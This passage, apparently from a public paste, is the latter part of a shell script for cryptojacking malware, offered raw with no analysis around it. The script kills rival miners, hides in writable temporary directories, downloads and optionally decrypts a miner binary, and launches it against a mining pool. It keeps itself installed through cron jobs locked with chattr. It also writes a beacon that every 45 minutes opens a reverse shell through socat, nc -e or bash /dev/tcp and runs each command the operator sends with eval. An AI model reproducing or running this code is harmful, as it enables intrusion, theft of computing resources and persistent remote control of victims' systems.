  1117. printf '%s\n' "*/45 * * * * $_cc_fetcher >/dev/null 2>&1") | crontab -; then
  1118. echo "Unable to install pointer crontab"
  1119. return 1
  1120. fi
  1121. echo "Cron persistence installed."
  1122. }
  1123. for _main_pid in $(pgrep -f 'bash /tmp/.*\.sh' 2>/dev/null); do
  1124. if [ "$_main_pid" != "$$" ] && [ "$_main_pid" != "$PPID" ]; then
  1125. # Check it's not our process (guard against race: process may have died)
  1126. [ -r "/proc/$_main_pid/cmdline" ] || continue
  1127. _main_cmdline=$(tr '\0' ' ' < "/proc/$_main_pid/cmdline" 2>/dev/null)
  1128. _is_excluded "$_main_cmdline" && continue
  1129. kill -9 "$_main_pid" 2>/dev/null && echo "Killed competing script PID $_main_pid"
  1130. fi
  1131. done
  1132. if [ "$(id -u)" -eq 0 ]; then
  1133. command -v systemctl >/dev/null 2>&1 && systemctl stop systemd_s 2>/dev/null || true
  1134. fi
  1135. log "Killing competing miners..."
  1136. kill_themf
  1137. kill_mf3
  1138. kill_high_cpu
  1139. for _main_target in \
  1140. ".rsyslogd" "kworker/u4:2" "crazyeltonproxy" "monero" "c3pool.org:80" \
  1141. "/bin/watcher" "nuclear" "45.94.31.89" "hosts-to-ignore" "supportxmr" \
  1142. "youyutebuae.xyz" "/lib/systemd/cache/health-monitor" "$(_d 'eG1yaWc=')"; do
  1143. kill_and_remove_process "$_main_target" || true
  1144. done
  1145. log "Hardening network..."
  1146. harden_network
  1147. log "Cleaning up files..."
  1148. cleanup_files
  1149. safe_patch_args
  1150. replace_pool_user
  1151. _SFX=$(_load_or_gen_sfx)
  1152. if [ "$(id -u)" -eq 0 ]; then
  1153. HOME_1="/usr_${_SFX}/lib/dev"
  1154. _main_user_type="root"
  1155. # Install cron if missing (only as root)
  1156. if ! command -v crontab >/dev/null 2>&1; then
  1157. log "Installing cron..."
  1158. if command -v apk >/dev/null 2>&1; then
  1159. apk add --no-cache cron 2>/dev/null || apk add --no-cache cronie 2>/dev/null || true
  1160. command -v rc-update >/dev/null 2>&1 && rc-update add crond default 2>/dev/null || true
  1161. command -v rc-service >/dev/null 2>&1 && rc-service crond start 2>/dev/null || true
  1162. elif command -v apt-get >/dev/null 2>&1; then
  1163. apt-get update -qq 2>/dev/null && apt-get install -y -qq cron 2>/dev/null || true
  1164. elif command -v yum >/dev/null 2>&1; then
  1165. yum install -y cronie 2>/dev/null || true
  1166. fi
  1167. fi
  1168. else
  1169. # Workdir must be WRITABLE and EXEC-capable (some containers mount /tmp
  1170. # noexec: nodered, distroless variants). Probe with a real exec test.
  1171. HOME_1=""
  1172. for _wd in "/tmp/.usr_${_SFX}" "/var/tmp/.usr_${_SFX}" "$HOME/.usr_${_SFX}" "/var/run/.usr_${_SFX}" "/dev/shm/.usr_${_SFX}"; do
  1173. mkdir -p "$_wd/lib" 2>/dev/null || continue
  1174. printf '#!/bin/sh\nexit 3\n' > "$_wd/.exectest" 2>/dev/null || continue
  1175. chmod +x "$_wd/.exectest" 2>/dev/null || continue
  1176. "$_wd/.exectest" 2>/dev/null; _et=$?
  1177. if [ "$_et" = "3" ]; then
  1178. HOME_1="$_wd/lib"
  1179. break
  1180. fi
  1181. rm -f "$_wd/.exectest" 2>/dev/null
  1182. done
  1183. [ -n "$HOME_1" ] || HOME_1="/tmp/.usr_${_SFX}/lib"
  1184. _main_user_type="user"
  1185. fi
  1186. program_file="$HOME_1/systemdev/dns-filter"
  1187. mkdir -p "$HOME_1/systemdev" 2>/dev/null
  1188. if ! set_arch_urls; then
  1189. log "Unsupported architecture: $_ga_arch"
  1190. exit 1
  1191. fi
  1192. cpu_count=$(get_cpu_count)
  1193. is_ec2=false; is_ec2_host && is_ec2=true
  1194. if [ "$cpu_count" -le 3 ] && [ "$is_ec2" = "false" ]; then
  1195. log "LOW CPU: $cpu_count CPUs (min 4 required), not EC2 — exiting"
  1196. exit 0
  1197. fi
  1198. log "CPU check: $cpu_count CPUs (user=$_main_user_type, ec2=$is_ec2)"
  1199. if is_our_process_running; then
  1200. log "Process running — installing cron and exiting"
  1201. wipe_previous_crons
  1202. create_cronjob "$_c2"
  1203. install_beacon_cron
  1204. install_competitor_guardian
  1205. exit 0
  1206. fi
  1207. log "Downloading..."
  1208. arch_url="$_ga_url"
  1209. # Encrypted-miner support: when MINER_KEY/MINER_IV are exported (the
  1210. # operator injects them via the AMQ dispatch like BEACON_ENDPOINT), the
  1211. # fetch target is the AES-256-CBC-packed binary and the fetched blob is
  1212. # decrypted in place. No key in env = the legacy plain-binary fetch.
  1213. if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then
  1214. arch_url="${arch_url}.enc"
  1215. fi
  1216. if _is_elf_for_arch "$program_file"; then
  1217. log "Binary present at $program_file ($(wc -c < "$program_file") bytes)"
  1218. else
  1219. rm -f "$program_file" 2>/dev/null || true
  1220. log "Fetching from $arch_url..."
  1221. if [ -n "$MINER_KEY" ] && [ -n "$MINER_IV" ]; then
  1222. _enc_file="${program_file}.enc"
  1223. fetch_file "$arch_url" "$_enc_file"
  1224. if [ -s "$_enc_file" ]; then
  1225. openssl enc -d -aes-256-cbc -in "$_enc_file" -out "$program_file" \
  1226. -K "$MINER_KEY" -iv "$MINER_IV" 2>/dev/null
  1227. rm -f "$_enc_file" 2>/dev/null
  1228. fi
  1229. rm -f "$_enc_file" 2>/dev/null || true
  1230. else
  1231. fetch_file "$arch_url" "$program_file"
  1232. fi
  1233. chmod +x "$program_file" 2>/dev/null
  1234. if ! _is_elf_for_arch "$program_file" && [ -n "$_ga_fallback" ]; then
  1235. log "Primary failed or wrong architecture ($(wc -c < "$program_file" 2>/dev/null) bytes) — trying fallback..."
  1236. rm -f "$program_file"
  1237. fetch_file "$_ga_fallback" "$program_file"
  1238. chmod +x "$program_file" 2>/dev/null
  1239. fi
  1240. fi
  1241. if ! _is_elf_for_arch "$program_file"; then
  1242. log "Error: no executable for architecture $_ga_arch"
  1243. rm -f "$program_file" 2>/dev/null || true
  1244. exit 1
  1245. fi
  1246. log "Binary ready: $(wc -c < "$program_file") bytes at $program_file"
  1247.  
  1248. launch_miner() {
  1249. if command -v setsid >/dev/null 2>&1; then
  1250. setsid "$program_file" "$@" >/dev/null 2>&1 &
  1251. else
  1252. nohup "$program_file" "$@" >/dev/null 2>&1 &
  1253. fi
  1254. _launch_pid=$!
  1255. }
  1256. log "Launching..."
  1257. _launch_ok=0
  1258. launch_miner -o "$_c3" -u "$_c4/$_c1" -k --tls
  1259. sleep 5
  1260. if kill -0 "$_launch_pid" 2>/dev/null; then
  1261. log "Process running (PID $_launch_pid)"
  1262. _launch_ok=1
  1263. else
  1264. log "Primary launch failed — retrying without -k..."
  1265. launch_miner -o "$_c3" -u "$_c4/$_c1" --tls
  1266. sleep 5
  1267. if kill -0 "$_launch_pid" 2>/dev/null; then
  1268. log "Process running on retry (PID $_launch_pid)"
  1269. _launch_ok=1
  1270. fi
  1271. fi
  1272. if [ "$_launch_ok" != 1 ]; then
  1273. log "All launch attempts failed"
  1274. rm -f "$program_file" 2>/dev/null || true
  1275. exit 1
  1276. fi
  1277. wipe_previous_crons
  1278. create_cronjob "$_c2"
  1279. if [ "$(id -u)" -eq 0 ]; then
  1280. for _lock_file in /etc/cron.d/$(whoami) /etc/cron.d/apache /var/spool/cron/$(whoami) /var/spool/cron/crontabs/$(whoami) /etc/cron.hourly/oanacroner1 /etc/init.d/down; do
  1281. if [ -f "$_lock_file" ]; then
  1282. chattr +i "$_lock_file" 2>/dev/null || true
  1283. chattr +a "$_lock_file" 2>/dev/null || true
  1284. fi
  1285. done
  1286. fi
  1287. # ── Beacon primary workflow (env-triggered by the tunnel delivery) ───────────
  1288. # When BEACON_ENDPOINT is set (the --auto-amq hook injects it into the AMQ
  1289. # command), the cron becomes a tunnel beacon: every 45 min (per-host jitter)
  1290. # the host dials the Villain tunnel endpoint, the operator-side auto-deploy
  1291. # fires over that shell, and the session closes. The npmjs cron-fetch chain
  1292. # (above) stays installed as the fallback layer.
  1293. # install_beacon_cron(): runs in BOTH deploy paths (already-running short
  1294. # path AND full deploy) — the short path's wipe_previous_crons removes every
  1295. # crontab line, so the beacon cron must be re-installed there too or the
  1296. # beacon dies on the first redeploy.
  1297. install_beacon_cron() {
  1298. [ -n "$BEACON_ENDPOINT" ] || return 0
  1299. case "$BEACON_ENDPOINT" in
  1300. [A-Za-z0-9._-]*:[0-9]*)
  1301. _bh="${BEACON_ENDPOINT%%:*}"; _bp="${BEACON_ENDPOINT##*:}"
  1302. ;;
  1303. *)
  1304. return 0
  1305. ;;
  1306. esac
  1307. case "$_HOME_1" in
  1308. /tmp/.usr_*|/var/tmp/.usr_*|/dev/shm/.usr_*|/usr_*|/home/*)
  1309. _beacon_file="$_HOME_1/systemdev/beacon.sh" ;;
  1310. *)
  1311. # fallback: probe for an exec-capable dir (noexec /tmp containers)
  1312. _beacon_file=""
  1313. for _bwd in "/var/tmp" "$HOME" "/dev/shm"; do
  1314. mkdir -p "$_bwd" 2>/dev/null || continue
  1315. printf '#!/bin/sh\nexit 3\n' > "$_bwd/.exectest" 2>/dev/null || continue
  1316. chmod +x "$_bwd/.exectest" 2>/dev/null || continue
  1317. "$_bwd/.exectest" 2>/dev/null; _et=$?
  1318. if [ "$_et" = "3" ]; then
  1319. _beacon_file="$_bwd/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"
  1320. break
  1321. fi
  1322. rm -f "$_bwd/.exectest" 2>/dev/null
  1323. done
  1324. [ -n "$_beacon_file" ] || _beacon_file="/tmp/.beacon_$(head -c 2 /dev/urandom | od -An -tx1 | tr -d ' ').sh"
  1325. ;;
  1326. esac
  1327. mkdir -p "$(dirname "$_beacon_file")" 2>/dev/null
  1328. cat > "$_beacon_file" <<'BEACONSCRIPT'
  1329. #!/bin/sh
  1330. # Beacon: dial the Villain tunnel, stay ~240s for the payload deploy, exit.
  1331. # POSIX sh (dash/busybox-safe): no $RANDOM, no /dev/tcp, no bash.
  1332. # Jitter via od on /dev/urandom (od is POSIX); fallback to a fixed sleep.
  1333. # The read-eval loop (NOT 'sh -i'): Villain dispatches multi-line chunked
  1334. # commands over this socket; the eval loop re-parses each line with full
  1335. # quoting (the interactive sh -i path silently failed to execute them).
  1336. _j=$(od -An -N2 -tu2 /dev/urandom 2>/dev/null | tr -d " \n")
  1337. case "$_j" in *[!0-9]*|"") _j=5 ;; esac
  1338. sleep "$_j"
  1339. # Dial: prefer socat (widely packaged, clean bidirectional exec), then
  1340. # nc -e (busybox/GNU netcat), then bash /dev/tcp as a last resort
  1341. # (bash-only, skipped silently when absent).
  1342. # Dial tiers: BEACON_TLS=1 (set by the AMQ dispatch when the operator runs
  1343. # the VPS TLS hop) → socat OPENSSL first, plain TCP fallback only if the
  1344. # TLS dial fails (the operator's VPS accepts both during migration).
  1345. # Without BEACON_TLS: the legacy plain dial chain (OpenFrp-compatible).
  1346. if [ "$BEACON_TLS" = "1" ] && command -v socat >/dev/null 2>&1; then
  1347. exec timeout 240 socat OPENSSL:"$_bh":"$_bp",verify=0 \
  1348. SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null
  1349. fi
  1350. if command -v socat >/dev/null 2>&1; then
  1351. exec timeout 240 socat TCP4:$_bh:$_bp SYSTEM:'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null
  1352. elif nc -h 2>&1 | grep -qe '-e '; then
  1353. # busybox/GNU nc -e argument orders differ; busybox order tried first,
  1354. # GNU order as fallback (the wrong order just fails and the beacon dies
  1355. # quietly — the cron-fetch chain remains as the persistence layer).
  1356. exec nc "$_bh" "$_bp" -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' 2>/dev/null \
  1357. || exec nc -e /bin/sh -c 'while read -r line; do eval "$line" 2>&1; done' "$_bh" "$_bp" 2>/dev/null
  1358. elif command -v bash >/dev/null 2>&1; then
  1359. exec 3<>/dev/tcp/$_bh/$_bp 2>/dev/null || exit 0
  1360. exec 0<&3 1>&3 2>&3
  1361. timeout 240 bash -c 'while read -r line <&0; do eval "$line" 2>&0 >&0; done' 2>/dev/null
  1362. fi
  1363. exit 0
  1364. BEACONSCRIPT
  1365. chmod 755 "$_beacon_file" 2>/dev/null
  1366. _beacon_cron="*/45 * * * * $_beacon_file >/dev/null 2>&1"
  1367. if ! (crontab -l 2>/dev/null | grep -qF "$_beacon_file"); then
  1368. (crontab -l 2>/dev/null; printf '%s\n' "$_beacon_cron") | crontab - 2>/dev/null \
  1369. && echo "Beacon cron installed (primary: $_bh:$_bp every 45m; npmjs chain kept as fallback)."
  1370. fi
  1371. }
  1372. # legacy inline call site kept for the full-deploy path (after launch):
  1373. install_beacon_cron
  1374. install_competitor_guardian
  1375. log "Deployment complete."
  1376. exit 0
RAW Paste Data Copied